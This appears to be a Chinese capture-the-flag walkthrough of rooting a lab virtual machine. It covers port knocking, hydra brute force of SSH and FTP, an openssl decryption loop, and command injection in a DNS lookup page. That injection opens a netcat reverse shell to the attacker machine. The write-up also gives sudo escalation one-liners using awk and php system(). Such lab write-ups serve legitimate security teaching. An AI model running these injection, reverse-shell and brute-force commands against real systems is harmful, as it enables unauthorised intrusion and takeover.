本文由安全客原创发布 转载,请参考转载声明,注明出处:https://www.anquanke.com/post/id/154504
环境准备
靶机ip:192.168.107.132
攻击机kali:192.168.107.134
说明:目的是拿下靶机并获取root权限
渗透测试
首先nmap开路,找一下靶机的ip地址nmap -sP 192.168.107.1/24
既然确定了ip,接着我们扫一下端口。 。开了三个端口,1个web端口80,1个ssh端口22,1个ftp端口21.我们先从web服务开始。. 一个静态页面,没什么搞头,扫一下目录。.
我先从phpmyadmin下手,. 这里尝试爆破弱口令,结果失败,看来不是从这里入手,接着去/login.php界面看看,试了半天,好像也不是什么注入,结果发现这里有点东西,。 点进去,。前面几个点进去是404,这一个就有东西了, . 这样一张图片。用图片编辑器调一下, 。这里就很有意思了,有四个人,最上方还有一部分,出现了PORT字样,一时半会有些蒙蔽,但是显然这个靶机入口就在这里了(总不会无缘无故给一张这样的图吧- -)。然后,我分别把这四个人截图下来,用浏览器的识别功能去查了这四个人,了解了一下各个人的信息,这四个人分别是Smiley Lewis, Dave Edmunds, Fats Domino和Gale Storm,首先,他们都是艺术家,都演奏了同一首歌曲,名字叫,”I hear you knocking”,年份分别是,1970,1955,1955,1961,这差不多是共同点了,还是很蒙蔽0.0,这里结合了知识面和脑洞。。原来跟knock有关,linux下有个命令knock可供安装使用,端口试探(port knocking)
是一种通过连接尝试,从外部打开原先关闭端口的方法。一旦收到正确顺序的连接尝试,防火墙就会动态打开一些特定的端口给允许尝试连接的主机,知道这个就明白上面那个PORT的意思了,显然是有某个端口没有被打开,需要我们knock开。那年份就要用上了,从左上依次到右下knock 192.168.107.132 1970 1955 1955 1961
。knock之后,再来扫描端口,从1-65535 .发现了一个端口开放了,我们访问,. 还是这个页面,但是既然端口不一样,那肯定存在的页面也会有差异,我们这次使用kali下的dirb扫描目录,. 这里,多了个H目录,访问,, 这种语言在CTF中见过,brain-fuck,于是乎,Google一个在线翻译,解密,内容如下, ,明显上面几个是用户名,下面pw那个是密码,想到前面开了ftp和ssh,把目标转向了ssh和ftp,先看看能不能登陆ssh,这里我用hydra进行爆破,先把刚才的用户名和密码保存在本地 .hydra命令如下,hydra -L /root/user.txt -P /root/pw.txt ssh://192.168.107.132 -t 6
爆破成功,直接去登陆ssh,ssh mary@192.168.107.132
。结果登不进去 。被墙了?不知道。。总之就是我们被拒绝了,ssh这条路看来走不通了。。。换个思路,爆破ftp。 。还是这个用户名和密码,ftp 192.168.107.132
,成功登陆,接着,用ls -la
看看文件, ,在.bash_history目录,发现有两个文件,get到kali本地,命令,get .trash
get .reminder.enc
。接着到本地看看文件类型, ,一个是openssl enc加密,一个是文本,我们看看文本内容 ,应该就是密码了,网上找了个脚本,直接放在命令行用,
1 | for i in `openssl enc -ciphers | tail -n +2` ; do for j in `cat .trash`; do openssl ${i:1} -d -salt -md md5 -in .reminder.enc -out "decrypted$i$j" -k $j; done;done 2>/dev/null |
, 解密完后, ,找一下我们想要的文本文件,file * | grep "text"
,cat
查看一下, ,这个dangleberry69大概就是什么登陆密码,好像暂时没什么地方用到登陆了,别忘了我们web网站上还有一个登陆处,用mary和拿到的密码去登陆一下,http://192.168.107.132:61955/login.php
,登陆成功,页面有两个链接,第一个就是一个视频播放,没什么用,第二个是个DNS解析的页面。 只给了一个yahoo和google,看着像是一个代码执行的洞,我尝试在前台修改一下,看看能不能执行其他的东西 修改,添加google;whoami
。然后,提交 。果然,执行了代码,这样,我便想反弹一个shell,先在攻击机上执行nc -lvp 4444
接着,在前台修改value值为 google;nc -e /bin/bash 192.168.107.133 4444
。等几秒钟,查看攻击机 已经反弹到shell了,看着很不舒服,用python引入一个交互式shell,python -c "import pty;pty.spawn('/bin/bash')"
查看当前目录下的文件,有个nb-latin,查看内容 看着要不是用户名,要不就是密码,先下载到攻击机上,shell上命令nc -w 3 192.168.107.132 4444< nb-latin
kali终端上nc -lvp 4444 > pass.txt
。 。用之前的用户名字典和这个密码字典试试ssh登陆,还是上hydra,hydra -L /root/user.txt -P /root/pass.txt ssh://192.168.107.132 -t 6
.登陆ssh,这下成功了,没有出错,看下文件,运行sh ,发现我们基本上没有权限,什么都运行不了,应该会有个地方有权限的设定,于是想到了sudo -l
命令,列出目前用户可执行的指令, 确实,我们可以用terry的权限去执行刚才那两个我们没有权限的文件,命令sudo -u terrt ./invoke.sh
, 通过测试,我发现需要带一个参数,而且这个参数是将要被打开的文件 ,我试着把参数改为/bin/bash,发现,我们用户切换为terry了 ,同样,用上面的方法sudo -l
,发现有一个文件可以用halle的权限去执行, 。这里的这个文件是awk,awk是linux下一种文本处理工具,有他自己的语法,按照这个思路,我们需要通过awk的命令,将用户变为halle,用BEGIN命令,引入system全局变量,执行/bin/bash,sudo -u halle awk 'BEGIN{system("/bin/bash")}'
,发现我们已经变成halle了, ,再进行sudo -l
, halle可以用chuck的权限执行php,这里踩坑了,最后做法是,我们写一个php文件去执行系统命令,然后用php文件去读chuck目录下的文件,先将文件写入/tmp目录,因为/tmp目录一般来说都可以读,echo "<?php system('ls -la /home/chuck')?>" > /tmp/1.php
,然后用sudo -u chuck /usr/bin/php /tmp/1.php
执行,可以发现执行成功了。(注意,直接打开/tmp/1.php是没有权限的,只有用chuck的身份去打开) 我们再去写一个读.deleted目录下的文件,echo "<?php system('ls -la /home/chuck/.deleted')?>" > /tmp/1.php
.接着sudo -u chuck /usr/bin/php /tmp/1.php
.执行, 有两个文件,先看看ssh_stuff里有什么, ,发现了rsa公钥,但没法进行免密登陆ssh,我们条件没法实现,所以看看另一个文件deleted, 打开后,发现了类似密码的邮件, , 右侧文本文件是我自己创建的记录,开头是che,结尾是rry,中间有baca,还有一些字母出现次数的说明,那么接下来就是爆破密码了,直接暴力,用kali下的自带工具 crunch 生成密码 。由于文件有点大,先生成好,再把他们合成为一个文件。 接着用hydra爆破。爆了一万年。。 接着直接登陆ssh, 可以看到已经是root了,至此靶机提升root已完成。
参考链接
http://www.sohu.com/a/161766202_709042 【tty交互式shell】
https://en.wikipedia.org/wiki/Port_knocking 【Port_knocking】
http://www.runoob.com/linux/linux-comm-awk.html 【awk】